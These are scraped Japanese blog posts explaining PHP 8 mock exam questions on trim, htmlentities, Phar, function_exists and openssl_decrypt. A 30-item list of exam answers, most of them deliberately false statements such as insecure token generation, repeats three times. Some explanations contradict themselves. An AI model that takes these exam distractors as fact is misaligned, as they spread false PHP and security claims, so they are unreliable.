    • base64_encode($iv):IVはバイナリなので、そのままではログ出力に不向き。Base64化がベター。
    • ‘:’ 区切り:復号するときに explode(‘:’, $data) で IV と暗号文を分離しやすくなる。

    openssl_decrypt() 関数はデータを復号する。

    そのため、以下のコード

    $method = 'AES-128-CBC';
    $key = 'key';
    $crypt = openssl_encrypt('exam', $method, $key, 0, openssl_random_pseudo_bytes(openssl_cipher_iv_length($method)));
    var_dump( $crypt );
    $decrypt_string = openssl_decrypt($crypt, $method, $key);
    var_dump( $decrypt_string );

    を実行すると、結果は次のとおりとなる。

    string(24) “MWFlUhetizqXeV321jVUvA==”
    string(4) “exam”
    となる。

    initialization vector が random なので $crypt は実行毎に変わるが、復号された「exam」は常に同じになる。

    また initialization vector は $crypt の中に含まれているため、引数として与えなくても正しく復号される。

    ✅ openssl_decrypt() は openssl_encrypt() で暗号化されたデータを復号する関数ですが、IV (Initialization Vector) が必要な暗号モードでは、IV なしでは正しく復号できません。

    openssl_encrypt() の中で openssl_random_pseudo_bytes() を使って ランダムなIVを作成しているが、それが復号時に再利用されていない。

    openssl_decrypt() に適切なIVを渡さないと、復号に失敗するか、異常なデータになる。
    「IV は $crypt に含まれている」 という説明が誤り

    よって問題文は誤り❌です

    openssl_x509_parse() 関数は X509 証明書をパースし、配列として情報を返す。

    そのため、以下のコード

    $resource = @stream_socket_client(
        'ssl://www.phpexam.jp:443',
        $errno,
        $errstr,
        60,
        STREAM_CLIENT_CONNECT,
        stream_context_create(['ssl' => ['capture_peer_cert' => true]]),
    );
    $cont = stream_context_get_params($resource);
    $x509 = openssl_x509_parse($cont['options']['ssl']['peer_certificate']);
    var_dump($x509);

    を実行すると、結果は次のとおりとなる。

    array(16) {
    ["name"]=>
    string(18) "/CN=www.phpexam.jp"
    ["subject"]=>
    array(1) {
    ["CN"]=>
    string(14) "www.phpexam.jp"
    }
    ["hash"]=>
    string(8) "491a204d"
    ["issuer"]=>
    array(3) {
    ["C"]=>
    string(2) "US"
    ["O"]=>
    string(13) "Let's Encrypt"
    ["CN"]=>
    string(2) "R3"
    }
    ["version"]=>
    int(2)
    (後略)

    PHP strpos() 関数の動作 0 1 2 3 4 5 6 7 8 9 10 P H P P r o g r a m s 例1: strpos($string, ‘P’) 検索: ‘P’ 最初に見つかる位置: 0 (先頭) 例2: strpos($string, ‘P’, 1) 検索: ‘P’(インデックス1から検索開始) 見つかる位置: 2 (3番目の文字) 注意: if(strpos(…) == false) は先頭 (0) で誤判定!

    この説明に誤りはありません。内容は⭕です

    問題番号正解の選択肢
    1PHPの「最新以外の(古い)コード」は、公式サイトでの提供は全くしていない。そのため、古いバージョンのコードが必要な場合、別途「非公式の外部サイト」からソースコードを入手する必要がある。
    2論理型 (boolean) は「真偽値」とも呼ばれ、値は true か false か null のいずれかになる。なお、true、false、null の文字は、大文字でも小文字でもよい。
    3抽象クラスから継承する際、親クラスで abstract としてマークされた全てのメソッドは子クラスで定義する必要があり、可視性は同等(またはより緩い制約)で、必須引数の数は同じであれば型宣言が異なってもかまわない。
    4PHP において、デストラクタは __destruct() メソッドで実装される。親クラスのデストラクタは暗黙的に呼ばれ、呼び出し順序は「子クラスのデストラクタ → 親クラスのデストラクタ」となる。
    5__get() はアクセス不能(protected または private)または存在しないプロパティからデータを読み込む際に使用される。なお、__getStatic() は存在せず、オブジェクトや静的コンテキストで動作しない。
    6PHP のリファレンス渡しを使用すると、関数内で引数を修正できる。(※※正解テキストでは「呼び出す側で変数に & を付ける必要がある」と記載されています。)
    7名前空間は namespace キーワードで宣言する。通常はファイルの先頭に記述する必要があり、名前空間宣言前に書かれたクラスはその名前空間に含まれない。
    8PHP 5 では Exception クラスが全例外の基底クラスだったが、PHP 7 以降は Exception クラスは Throwable インタフェースを基底とし、Error クラスが内部エラーの基底クラスとして導入された。
    9ArrayAccess インターフェイスは、オブジェクトを配列としてアクセスするための機能を提供する。
    10SplFileInfo クラスは、ファイルの情報取得や操作を行うためのクラスである。
    11$_COOKIE は、HTTP クッキーから渡された値が連想配列として格納され、また設定も可能である。
    12PHP 7.1.x では、文字列操作関数で負のオフセット指定が可能となり、[] や {} による文字単位のアクセスも文字列の末尾からのオフセットとして解釈される。
    13可変変数は、スーパーグローバル変数にも使用できる。
    14PHP 7.4.x では、波括弧を使った配列や文字列のオフセットアクセスの文法は非推奨となった。
    15PHP 8 では、private メソッドの継承に関するルールが変更され、親クラスの同名メソッドの可視性に関係なく子クラスでオーバーライド可能となった。
    16break は、現在実行中の for, foreach, while, do-while, switch 構造の実行を終了し、オプションでネストしたループの何段分を抜けるか指定できる。
    17XSS 対策として、htmlentities() を適切に使用することで、文字列や配列の入力に対して安全な出力が可能となる。
    18アップロードされたファイルの元のファイル名は、$_FILES[‘{formのnameの値}’][‘name’] に格納され、move_uploaded_file() の第二引数として利用できる。
    19uniqid() と mt_rand() を組み合わせることで、暗号論的にランダムな(推測困難な)トークンを生成できる。
    20PHP のセッションでは、セッション ID がクッキーに保存され、session_set_cookie_params() によりそのクッキーのパラメータを設定できる。
    21PHP の変数の参照カウントは、xdebug_debug_zval() で確認でき、オブジェクトを clone した場合は内部的に参照が使われ、一時的に参照カウントが増加する。
    22DirectoryIterator クラスは、ディレクトリ内のファイルやサブディレクトリの情報を取得するシンプルなインターフェイスを提供する。
    23mail() 関数は、メールを送信するための関数で、第四引数で追加のヘッダー情報を指定できる。
    24escapeshellarg() と escapeshellcmd() は、外部入力をシェルコマンドの引数として使用する際に必要なエスケープ処理を行い、どちらを使用しても意味合いは同じである。
    25stream_wrapper_register() 関数を使用すると、新しいストリームラッパー(プロトコルハンドラ)を登録できるが、既に存在する場合は失敗する。
    26strpos() 関数は、文字列内で指定した部分文字列の最初の出現位置を返し、見つからなければ false を返す。ただし、先頭位置の場合は 0 が返るため注意が必要。
    27Phar のスタブには __HALT_COMPILER() が使用され、これ以降のコードはコンパイルされない。
    28function_exists() 関数は、指定された関数が定義されているかどうかをチェックし、存在すれば true を返す。
    29openssl_decrypt() 関数は、openssl_encrypt() で暗号化されたデータを正しく復号し、元のデータを取り戻す。
    30strtotime() 関数は、英語形式の日付文字列を Unix タイムスタンプに変換し、無効な日付の場合は false を返す。
    【php8上級/準上級試験】模擬問題解説 問題28 function_exists()

    「第1回 PHP 8 上級 模擬試験」を解説していきます

    本記事ではひたすら下記記事の模擬試験の解説をしていきたいと思います!

    第1回 PHP 8 上級 模擬試験
    https://study.prime-strategy.co.jp/study/ph8ex1/

    解説記事一覧

    模擬問題 28

    関数 に関する説明の中で、誤っているものを1つ選びなさい。
    また、すべてのコードには下記のコードが適切な箇所に書かれているものとする。

    declare(strict_types=1);
    error_reporting(-1);
    下記はマニュアルから一部引用した内容である。

    call_user_func ( callable $callback , mixed …$args ) : mixed
    call_user_func_array ( callable $callback , array $args ) : mixed

    forward_static_call ( callable $callback , mixed …$args ) : mixed
    callback パラメータで指定したユーザー定義の関数あるいはメソッドを、 それに続く引数を指定してコールします。この関数はメソッドのコンテキストでコールしなければなりません。 クラスの外部で使用することはできません。 この関数は 遅延静的束縛 を使います。
    forward_static_call_array ( callable $callback , array $args ) : mixed
    callback パラメータで指定したユーザー定義の関数あるいはメソッドをコールします。 この関数はメソッドのコンテキストでコールしなければなりません。 クラスの外部で使用することはできません。 この関数は 遅延静的束縛 を使います。 転送先のメソッドへのすべての引数は値渡しで、 call_user_func_array() と同様に配列で指定します。

    function_exists ( string $function_name ) : bool
    組み込みの内部関数およびユーザー定義関数の中から、 function_name で指定した名前の関数を探します。

    register_shutdown_function ( callable $callback , mixed …$args ) : void
    スクリプト処理が完了したとき、あるいは exit() がコールされたときに実行するコールバック関数を登録します。
    register_shutdown_function() は複数回コールする ことが可能で、登録された順に関数がコールされます。 登録した関数内で exit() をコールした場合、 処理はそこで終了してその他のシャットダウン関数はコールされません。

    call_user_func() 関数 と call_user_func_array() 関数は、最初の引数で指定したコールバック関数をコールする。

    call_user_func() 関数が「渡す引数を可変長引数で指定」するのに対して、call_user_func_array() 関数は「渡す引数を配列で指定」する。

    第一引数に[オブジェクト, メソッド名]または[クラス名, メソッド名]の配列を渡すと、オブジェクトメソッドや静的メソッドを呼ぶ事も出来る。

    また、引数を参照渡しで受け取る関数を call_user_func() から呼ぶと、エラー(Warning)が発生する。

    そのため、以下のコード

    function func($a, $b) {
        echo __FUNCTION__, PHP_EOL;
        var_dump($a, $b);
        echo PHP_EOL;
    }
    
    function func2(&$v) {
        $v[] = 999;
    }
    
    class Hoge {
        public function func1($a) {
            echo __METHOD__, PHP_EOL;
            var_dump($a);
            echo PHP_EOL;
        }
    
        public static function func2($a) {
            echo __METHOD__, PHP_EOL;
            var_dump(get_called_class(), $a);
            echo PHP_EOL;
        }
    }
    
    call_user_func('func', 1, 2);
    call_user_func_array('func', ['var', 'val']);
    
    $obj = new Hoge();
    call_user_func([$obj, 'func1'], 999);
    call_user_func([Hoge::class, 'func2'], 'val');
    
    $v = [];
    call_user_func('func2', $v);
    var_dump($v);

    を実行すると、結果は次のとおりとなる。

    func
    int(1)
    int(2)
    
    func
    string(3) "var"
    string(3) "val"
    
    Hoge::func1
    int(999)
    
    Hoge::func2
    string(4) "Hoge"
    string(3) "val"
    
    Warning: func2(): Argument #1 ($v) must be passed by reference, value given in ...
    array(0) {
    }

    問題文の内容は正しい⭕です

    forward_static_call() 関数 と forward_static_call_array() 関数は、静的メソッドをコールする。

    そのため、以下のコード

    class Hoge {
        public static function func() {
            echo __METHOD__, PHP_EOL;
            var_dump(get_called_class());
            echo PHP_EOL;
        }
    }
    
    class Foo extends Hoge {
        public static function callMethod() {
            forward_static_call(['Hoge', 'func']);
            echo PHP_EOL;
            call_user_func(['Hoge', 'func']);
        }
    }
    
    Foo::callMethod();
    forward_static_call(['Hoge', 'func']);

    を実行すると、結果は次のとおりとなる。

    Hoge::func
    string(3) “Foo”

    Hoge::func
    string(4) “Hoge”

    Fatal error: Uncaught Error: Cannot call forward_static_call() when no class scope is active in …

    よって選択肢の内容は正しい⭕です

    function_exists() 関数 は指定した関数が定義されている場合に true を返す。

    そのため、以下のコード

    class Hoge {
        public function func() {
        }
    }
    
    function foo() {
    }
    
    $fn = function($v) {
        var_dump( $v, function_exists($v) );
        echo PHP_EOL;
    };
    
    $fn( [Hoge:class, 'func'] );
    $fn( 'foo' );
    $fn( 'function_exists' );
    $fn( 'echo' );
    $fn( 'dummy' );

    を実行すると、結果は次のとおりとなる。

    array(2) {
      [0]=>
      string(4) "Hoge"
      [1]=>
      string(4) "func"
    }
    bool(true)
    
    string(3) "foo"
    bool(true)
    
    string(15) "function_exists"
    bool(true)
    
    string(4) "echo"
    bool(true)
    
    string(5) "dummy"
    bool(false)

    function_exists() の仕様

    function_exists(string $function_name): bool は、指定した関数が定義されている場合に true を返し、それ以外の場合は false を返す 関数です。

    メソッド(クラスのメンバ関数)は対象外

    よって問題文は誤り❌です

    register_shutdown_function() 関数はシャットダウン時に実行する関数を登録する。

    そのため、以下のコード

    register_shutdown_function(function() {
        echo "register_shutdown_function 1", PHP_EOL;
    });
    register_shutdown_function(function($v) {
        echo "register_shutdown_function 2 {$v}", PHP_EOL;
    }, 'val');
    register_shutdown_function(function() {
        echo "register_shutdown_function 3", PHP_EOL;
        exit;
    });
    register_shutdown_function(function() {
        echo "register_shutdown_function 4", PHP_EOL;
    });
    
    echo "start", PHP_EOL;
    exit;

    を実行すると、結果は次のとおりとなる。

    start
    register_shutdown_function 1
    register_shutdown_function 2 val
    register_shutdown_function 3

    PHP strpos() 関数の動作 0 1 2 3 4 5 6 7 8 9 10 P H P P r o g r a m s 例1: strpos($string, ‘P’) 検索: ‘P’ 最初に見つかる位置: 0 (先頭) 例2: strpos($string, ‘P’, 1) 検索: ‘P’(インデックス1から検索開始) 見つかる位置: 2 (3番目の文字) 注意: if(strpos(…) == false) は先頭 (0) で誤判定!

    この説明に誤りはありません。内容は⭕です

    問題番号正解の選択肢
    1PHPの「最新以外の(古い)コード」は、公式サイトでの提供は全くしていない。そのため、古いバージョンのコードが必要な場合、別途「非公式の外部サイト」からソースコードを入手する必要がある。
    2論理型 (boolean) は「真偽値」とも呼ばれ、値は true か false か null のいずれかになる。なお、true、false、null の文字は、大文字でも小文字でもよい。
    3抽象クラスから継承する際、親クラスで abstract としてマークされた全てのメソッドは子クラスで定義する必要があり、可視性は同等(またはより緩い制約)で、必須引数の数は同じであれば型宣言が異なってもかまわない。
    4PHP において、デストラクタは __destruct() メソッドで実装される。親クラスのデストラクタは暗黙的に呼ばれ、呼び出し順序は「子クラスのデストラクタ → 親クラスのデストラクタ」となる。
    5__get() はアクセス不能(protected または private)または存在しないプロパティからデータを読み込む際に使用される。なお、__getStatic() は存在せず、オブジェクトや静的コンテキストで動作しない。
    6PHP のリファレンス渡しを使用すると、関数内で引数を修正できる。(※※正解テキストでは「呼び出す側で変数に & を付ける必要がある」と記載されています。)
    7名前空間は namespace キーワードで宣言する。通常はファイルの先頭に記述する必要があり、名前空間宣言前に書かれたクラスはその名前空間に含まれない。
    8PHP 5 では Exception クラスが全例外の基底クラスだったが、PHP 7 以降は Exception クラスは Throwable インタフェースを基底とし、Error クラスが内部エラーの基底クラスとして導入された。
    9ArrayAccess インターフェイスは、オブジェクトを配列としてアクセスするための機能を提供する。
    10SplFileInfo クラスは、ファイルの情報取得や操作を行うためのクラスである。
    11$_COOKIE は、HTTP クッキーから渡された値が連想配列として格納され、また設定も可能である。
    12PHP 7.1.x では、文字列操作関数で負のオフセット指定が可能となり、[] や {} による文字単位のアクセスも文字列の末尾からのオフセットとして解釈される。
    13可変変数は、スーパーグローバル変数にも使用できる。
    14PHP 7.4.x では、波括弧を使った配列や文字列のオフセットアクセスの文法は非推奨となった。
    15PHP 8 では、private メソッドの継承に関するルールが変更され、親クラスの同名メソッドの可視性に関係なく子クラスでオーバーライド可能となった。
    16break は、現在実行中の for, foreach, while, do-while, switch 構造の実行を終了し、オプションでネストしたループの何段分を抜けるか指定できる。
    17XSS 対策として、htmlentities() を適切に使用することで、文字列や配列の入力に対して安全な出力が可能となる。
    18アップロードされたファイルの元のファイル名は、$_FILES[‘{formのnameの値}’][‘name’] に格納され、move_uploaded_file() の第二引数として利用できる。
    19uniqid() と mt_rand() を組み合わせることで、暗号論的にランダムな(推測困難な)トークンを生成できる。
    20PHP のセッションでは、セッション ID がクッキーに保存され、session_set_cookie_params() によりそのクッキーのパラメータを設定できる。
    21PHP の変数の参照カウントは、xdebug_debug_zval() で確認でき、オブジェクトを clone した場合は内部的に参照が使われ、一時的に参照カウントが増加する。
    22DirectoryIterator クラスは、ディレクトリ内のファイルやサブディレクトリの情報を取得するシンプルなインターフェイスを提供する。
    23mail() 関数は、メールを送信するための関数で、第四引数で追加のヘッダー情報を指定できる。
    24escapeshellarg() と escapeshellcmd() は、外部入力をシェルコマンドの引数として使用する際に必要なエスケープ処理を行い、どちらを使用しても意味合いは同じである。
    25stream_wrapper_register() 関数を使用すると、新しいストリームラッパー(プロトコルハンドラ)を登録できるが、既に存在する場合は失敗する。
    26strpos() 関数は、文字列内で指定した部分文字列の最初の出現位置を返し、見つからなければ false を返す。ただし、先頭位置の場合は 0 が返るため注意が必要。
    27Phar のスタブには __HALT_COMPILER() が使用され、これ以降のコードはコンパイルされない。
    28function_exists() 関数は、指定された関数が定義されているかどうかをチェックし、存在すれば true を返す。
    29openssl_decrypt() 関数は、openssl_encrypt() で暗号化されたデータを正しく復号し、元のデータを取り戻す。
    30strtotime() 関数は、英語形式の日付文字列を Unix タイムスタンプに変換し、無効な日付の場合は false を返す。
    【php8上級/準上級試験】模擬問題解説 問題27 Phar __HALT_COMPILER()

    「第1回 PHP 8 上級 模擬試験」を解説していきます

    本記事ではひたすら下記記事の模擬試験の解説をしていきたいと思います!

    第1回 PHP 8 上級 模擬試験
    https://study.prime-strategy.co.jp/study/ph8ex1/

    解説記事一覧

    模擬問題 27

    関数 に関する説明の中で、誤っているものを1つ選びなさい。
    また、すべてのコードには下記のコードが適切な箇所に書かれているものとする。

    declare(strict_types=1);
    error_reporting(-1);
    下記はマニュアルから一部引用した内容である。

    public Phar::__construct ( string $fname , int $flags = ? , string $alias = ? )

    phar 拡張モジュールは、PHP アプリケーション全体をひとつの “phar” (PHP Archive) ファイルにまとめて配布やインストールを容易にするためのものである。
    例えば、PHP で最近よく使われている Composer が Phar で配布されている。
    そのため、composer.phar の中は

    # !/usr/bin/env php

    という書き出しになっている。
    また、中身が PHP ファイルなので、ファイルに実行権限がなくても

    php composer.phar
    のコマンドラインで動かす事ができる。

    Pharファイルは複数ファイルからなるPHPプロジェクトをまるごと1ファイルに固めたアーカイブファイルです。PHPスクリプトだけでなく任意のファイルを内包できる非常に便利なものです。

    PHAR (PHP Archive) 複数ファイルからなるPHPプロジェクトをまるごと1ファイルに固めたアーカイブ index.php functions.php config.php style.css image.png 圧縮 統合 myapp.phar 内部ファイル構造 index.php functions.php, config.php style.css image.png PHPスクリプトだけでなく任意のファイルを内包できる非常に便利なアーカイブ

    問題文の内容は正しい⭕です

    pharは普段あまり使用することはないかもしれませんが、PHPでよく使用されるComposerはPharを使用してます。installするとファイル名がcomposer.pharになってます。

    phar のスタブには __HALT_COMPILER() という関数が使われている。
    __HALT_COMPILER() は「コンパイラの実行を中止する」関数である。この関数以降はコンパイルされる事がなく、インストール用ファイルのようなデータを PHP スクリプトに埋め込んでいる場合等に使われる。
    そのため、以下のコード

    echo 'test', PHP_EOL;
    __HALT_COMPILER();
    ;
    dummy data
    hoge

    を実行すると、結果は次のとおりとなる。

    Parse error: syntax error, unexpected identifier “data” in …

    しかし以下のコード

    echo 'test', PHP_EOL;
    __HALT_COMPILER();
    ;
    dummy data;
    hoge;

    を実行すると、結果は次のとおりとなる。

    test

    __HALT_COMPILER() の挙動

    __HALT_COMPILER(); は 「それ以降のコードを PHP のコンパイル・実行対象から外す」 ための特殊な関数です。

    __HALT_COMPILER(); のセミコロンが完全に終わった「その次のバイト」から、PHPは読み込まなくなる。

    echo 'test', PHP_EOL;
    __HALT_COMPILER();
    ?>
    dummy data
    hoge
    

    ?> で PHPを終了してれば、__HALT_COMPILER(); の位置で PHP の解析は止まる

    よって問題文は誤り❌です

    phar のファイルを作る場合は、Phar クラスを用いる。
    そのため、hoge.php というファイル名で

    class Hoge {
    private $i = 999;
    }
    がある前提で、以下のコード

    $obj = new Phar('./exam.phar');
    $obj->addFile('hoge.php');

    を実行すると exam.phar ができあがる。

    ただし php.ini の phar.readonly が 0 でない時は、結果は次のとおりとなる。

    Fatal error: Uncaught UnexpectedValueException: creating archive “./exam.phar” disabled by the php.ini setting phar.readonly in …

    よって選択肢の内容は正しい⭕です

    phar のファイルを使う場合には、Phar ストリームラッパーを使う。
    Phar ストリームラッパーは phar:// から始まる。
    そのため、先ほど作成した exam.phar がある前提で、以下のコード

    require_once('phar://exam.phar/hoge.php');
    $obj = new Hoge();
    var_dump($obj);

    を実行すると、結果は次のとおりとなる。

    object(Hoge)#1 (1) {
    [“i”:”Hoge”:private]=>
    int(999)
    }

    PHP strpos() 関数の動作 0 1 2 3 4 5 6 7 8 9 10 P H P P r o g r a m s 例1: strpos($string, ‘P’) 検索: ‘P’ 最初に見つかる位置: 0 (先頭) 例2: strpos($string, ‘P’, 1) 検索: ‘P’(インデックス1から検索開始) 見つかる位置: 2 (3番目の文字) 注意: if(strpos(…) == false) は先頭 (0) で誤判定!

    この説明に誤りはありません。内容は⭕です

    問題番号正解の選択肢
    1PHPの「最新以外の(古い)コード」は、公式サイトでの提供は全くしていない。そのため、古いバージョンのコードが必要な場合、別途「非公式の外部サイト」からソースコードを入手する必要がある。
    2論理型 (boolean) は「真偽値」とも呼ばれ、値は true か false か null のいずれかになる。なお、true、false、null の文字は、大文字でも小文字でもよい。
    3抽象クラスから継承する際、親クラスで abstract としてマークされた全てのメソッドは子クラスで定義する必要があり、可視性は同等(またはより緩い制約)で、必須引数の数は同じであれば型宣言が異なってもかまわない。
    4PHP において、デストラクタは __destruct() メソッドで実装される。親クラスのデストラクタは暗黙的に呼ばれ、呼び出し順序は「子クラスのデストラクタ → 親クラスのデストラクタ」となる。
    5__get() はアクセス不能(protected または private)または存在しないプロパティからデータを読み込む際に使用される。なお、__getStatic() は存在せず、オブジェクトや静的コンテキストで動作しない。
    6PHP のリファレンス渡しを使用すると、関数内で引数を修正できる。(※※正解テキストでは「呼び出す側で変数に & を付ける必要がある」と記載されています。)
    7名前空間は namespace キーワードで宣言する。通常はファイルの先頭に記述する必要があり、名前空間宣言前に書かれたクラスはその名前空間に含まれない。
    8PHP 5 では Exception クラスが全例外の基底クラスだったが、PHP 7 以降は Exception クラスは Throwable インタフェースを基底とし、Error クラスが内部エラーの基底クラスとして導入された。
    9ArrayAccess インターフェイスは、オブジェクトを配列としてアクセスするための機能を提供する。
    10SplFileInfo クラスは、ファイルの情報取得や操作を行うためのクラスである。
    11$_COOKIE は、HTTP クッキーから渡された値が連想配列として格納され、また設定も可能である。
    12PHP 7.1.x では、文字列操作関数で負のオフセット指定が可能となり、[] や {} による文字単位のアクセスも文字列の末尾からのオフセットとして解釈される。
    13可変変数は、スーパーグローバル変数にも使用できる。
    14PHP 7.4.x では、波括弧を使った配列や文字列のオフセットアクセスの文法は非推奨となった。
    15PHP 8 では、private メソッドの継承に関するルールが変更され、親クラスの同名メソッドの可視性に関係なく子クラスでオーバーライド可能となった。
    16break は、現在実行中の for, foreach, while, do-while, switch 構造の実行を終了し、オプションでネストしたループの何段分を抜けるか指定できる。
    17XSS 対策として、htmlentities() を適切に使用することで、文字列や配列の入力に対して安全な出力が可能となる。
    18アップロードされたファイルの元のファイル名は、$_FILES[‘{formのnameの値}’][‘name’] に格納され、move_uploaded_file() の第二引数として利用できる。
    19uniqid() と mt_rand() を組み合わせることで、暗号論的にランダムな(推測困難な)トークンを生成できる。
    20PHP のセッションでは、セッション ID がクッキーに保存され、session_set_cookie_params() によりそのクッキーのパラメータを設定できる。
    21PHP の変数の参照カウントは、xdebug_debug_zval() で確認でき、オブジェクトを clone した場合は内部的に参照が使われ、一時的に参照カウントが増加する。
    22DirectoryIterator クラスは、ディレクトリ内のファイルやサブディレクトリの情報を取得するシンプルなインターフェイスを提供する。
    23mail() 関数は、メールを送信するための関数で、第四引数で追加のヘッダー情報を指定できる。
    24escapeshellarg() と escapeshellcmd() は、外部入力をシェルコマンドの引数として使用する際に必要なエスケープ処理を行い、どちらを使用しても意味合いは同じである。
    25stream_wrapper_register() 関数を使用すると、新しいストリームラッパー(プロトコルハンドラ)を登録できるが、既に存在する場合は失敗する。
    26strpos() 関数は、文字列内で指定した部分文字列の最初の出現位置を返し、見つからなければ false を返す。ただし、先頭位置の場合は 0 が返るため注意が必要。
    27Phar のスタブには __HALT_COMPILER() が使用され、これ以降のコードはコンパイルされない。
    28function_exists() 関数は、指定された関数が定義されているかどうかをチェックし、存在すれば true を返す。
    29openssl_decrypt() 関数は、openssl_encrypt() で暗号化されたデータを正しく復号し、元のデータを取り戻す。
    30strtotime() 関数は、英語形式の日付文字列を Unix タイムスタンプに変換し、無効な日付の場合は false を返す。
    【php8上級/準上級試験】模擬問題解説 問題26 htmlspecialchars() htmlentities() strpos() tirm()

    「第1回 PHP 8 上級 模擬試験」を解説していきます

    本記事ではひたすら下記記事の模擬試験の解説をしていきたいと思います!

    第1回 PHP 8 上級 模擬試験
    https://study.prime-strategy.co.jp/study/ph8ex1/

    解説記事一覧

    模擬問題 26

    関数 に関する説明の中で、誤っているものを1つ選びなさい。
    なお「\」はバックスラッシュに読み替えること。
    また、すべてのコードには下記のコードが適切な箇所に書かれているものとする。

    declare(strict_types=1);
    error_reporting(-1);
    下記はマニュアルから一部引用した内容である。

    htmlentities ( string $string , int $flags = ENT_COMPAT , string|null $encoding = null , bool $double_encode = true ) : string
    htmlspecialchars ( string $string , int $flags = ENT_COMPAT , string|null $encoding = null , bool $double_encode = true ) : string

    ENT_COMPAT ダブルクオートは変換しますがシングルクオートは変換しません。
    ENT_QUOTES シングルクオートとダブルクオートを共に変換します。
    ENT_NOQUOTES シングルクオートとダブルクオートは共に変換されません。

    trim ( string $string , string $characters = " \n\r\t\v\0" ) : string
    ltrim ( string $string , string $characters = " \n\r\t\v\0" ) : string
    rtrim ( string $string , string $characters = " \n\r\t\v\0" ) : string

    strpos ( string $haystack , string $needle , int $offset = 0 ) : int|false
    文字列 haystack の中で、 needle が最初に現れる位置を探します。
    返り値
    needle が見つかった位置を、 haystack 文字列の先頭 (offset の値とは無関係) からの相対位置で返します。 文字列の開始位置は 0 であり、1 ではないことに注意しましょう。
    needle が見つからない場合は false を返します。

    htmlentities() 関数と htmlspecialchars() 関数は、いずれも「文字を HTML エンティティに変換する」。
    htmlspecialchars() 関数が「特殊文字」だけであるのに対し、htmlentities() 関数は「適用可能な全ての文字」を変換する。
    この関数は、XSS 対策のためのエスケープ処理としてよく使われている。XSS 対策で使う場合、どちらを使ってもよい。
    第二引数をデフォルトのままにすると「ダブルクオートは変換するがシングルクオートは変換しない」ので、XSS 対策用には、第二引数を ENT_QUOTES にするとよい。
    そのため、以下のコード

    $string = '<>&"\'∞';
    echo $string, PHP_EOL;
    echo htmlspecialchars($string), PHP_EOL;
    echo htmlspecialchars($string, ENT_QUOTES), PHP_EOL;
    echo htmlentities($string, ENT_QUOTES), PHP_EOL;

    を実行すると、結果は次のとおりとなる。

    <>&”‘∞
    <>&”‘∞
    <>&”‘∞
    <>&”‘∞

    • htmlspecialchars(): HTML で特別な意味を持つ文字(<, >, &, “, ‘)のみを変換します
    • htmlentities(): HTML エンティティに変換可能な全ての文字を変換します(特殊文字に加え、アクセント記号や特殊な言語文字、記号なども変換)

    XSS対策としての使い分け

    XSS対策としては、どちらを使用するかは以下のポイントで判断します:

    • htmlspecialchars(): 一般的なユーザー入力のエスケープに十分
    • htmlentities(): 国際文字や特殊記号も多く含まれる場合に使用

    重要な設定オプション

    第二引数(フラグ)の重要な値:

    • ENT_QUOTES: シングルクォートとダブルクォートの両方を変換
    • ENT_HTML5: HTML5の規格に従ってエンコード(PHP 5.4.0以降)
    PHP HTML エスケープ関数の比較 元の文字列: $string = ‘<>&”‘∞’; 出力結果: <>&”‘∞ htmlspecialchars() htmlentities() デフォルト設定: htmlspecialchars($string) 出力結果: &lt;&gt;&amp;&quot;’∞ ※ <, >, &, ” のみ変換(’ と ∞ は変換されない) デフォルト設定: htmlentities($string) 出力結果: &lt;&gt;&amp;&quot;’&infin; ※ <, >, &, “, ∞ が変換(’ は変換されない) ENT_QUOTES設定: htmlspecialchars($string, ENT_QUOTES) 出力結果: &lt;&gt;&amp;&quot;&#039;∞ ※ <, >, &, “, ‘ が変換(∞ は変換されない) ENT_QUOTES設定: htmlentities($string, ENT_QUOTES) 出力結果: &lt;&gt;&amp;&quot;&#039;&infin; ※ <, >, &, “, ‘, ∞ 全てが変換される XSS対策として最も安全な使い方: htmlspecialchars($string, ENT_QUOTES, ‘UTF-8’); ※ 特殊文字を含む国際的な文字が多い場合は htmlentities() を検討

    問題文の内容は正しい⭕です

    trim() 関数は文字列の先頭および末尾にあるホワイトスペースを取り除く。
    また、 文字列の最初から空白 (もしくはその他の文字) を取り除く ltrim() 関数、文字列の最後から空白 (もしくはその他の文字) を取り除く rtrim() 関数もある。
    第二引数を指定しない場合は 0x20の空白、0x09のタブ、0x0Aのリターン などが削除されるが、引数を指定すると削除したい文字を指定する事も出来る。
    そのため、以下のコード

    $string = "\t a b\tc\n";
    var_dump( trim($string) );
    var_dump( trim($string, "\t\n ac") );

    を実行すると、結果は次のとおりとなる。

    string(5) "a b  c"
    string(1) "b"

    trim()ってなに?

    trim関数は、文字列の“前後”から不要な空白や改行などを取り除く関数

    $text = "  Hello World!  ";
    $clean = trim($text);
    
    echo $clean; // 結果: "Hello World!"

    なにが削除されるか?

    デフォルトでは以下の「空白系の文字」が削除

    • スペース(” “)
    • タブ(\t)
    • 改行(\n)
    • 復帰(\r)
    • 垂直タブ(\x0B)
    • NULLバイト(\0)

    前後のやつだけが対象!文字列の中間にある空白はそのまま残るので注意

    第二引数で削除する文字を指定も可能

    $sku = trim("***ABC123***", "*");
    echo $sku; // 結果: "ABC123"

    フォームバリデーションで使用

    $name = trim($_POST['name']);

    ァイル読み込みや外部APIの結果処理で使用

    $data = trim(file_get_contents('data.txt'));

    よって問題文に誤りはありません。内容は⭕です

    ord() 関数は、文字列の先頭バイトを、0 から 255 までの値に変換する。
    また chr() 関数は、数値から、1 バイトの文字列を生成する。
    そのため、以下のコード

    $s = 'abc';
    $ascii = ord($s);
    var_dump($ascii);
    
    var_dump( chr($ascii) );
    
    $ascii += 5;
    var_dump( chr($ascii) );

    を実行すると、結果は次のとおりとなる。

    int(97)
    string(1) "a"
    string(1) "

    ord()関数とchr()関数について

    ord()関数とchr()関数はPHPで文字とASCII値(バイト値)を相互に変換するための関数です。

    ord()関数

    ord()関数は文字列の先頭バイトのASCII値(または拡張ASCII値)を返します。この値は0〜255の範囲の整数です。

    chr()関数

    chr()関数は逆の操作を行います。0〜255の整数を受け取り、対応するASCII文字(1バイトの文字列)を返します。

    ASCII表: PHPのord()とchr()関数の変換対応表 10進数 文字 PHP関数の例 97 ‘a’ ord(‘a’) → 97 | chr(97) → ‘a’ 98 ‘b’ ord(‘b’) → 98 | chr(98) → ‘b’ 99 ‘c’ ord(‘c’) → 99 | chr(99) → ‘c’ 100 ‘d’ ord(‘d’) → 100 | chr(100) → ‘d’ 101 ‘e’ ord(‘e’) → 101 | chr(101) → ‘e’ 102 ‘f’ ord(‘f’) → 102 | chr(102) → ‘f’ 問題の例解説: $s = ‘abc’; // 文字列の先頭は ‘a’ $ascii = ord($s); // 97 を返す (‘a’ のASCII値)

    よって選択肢の内容は正しい⭕です

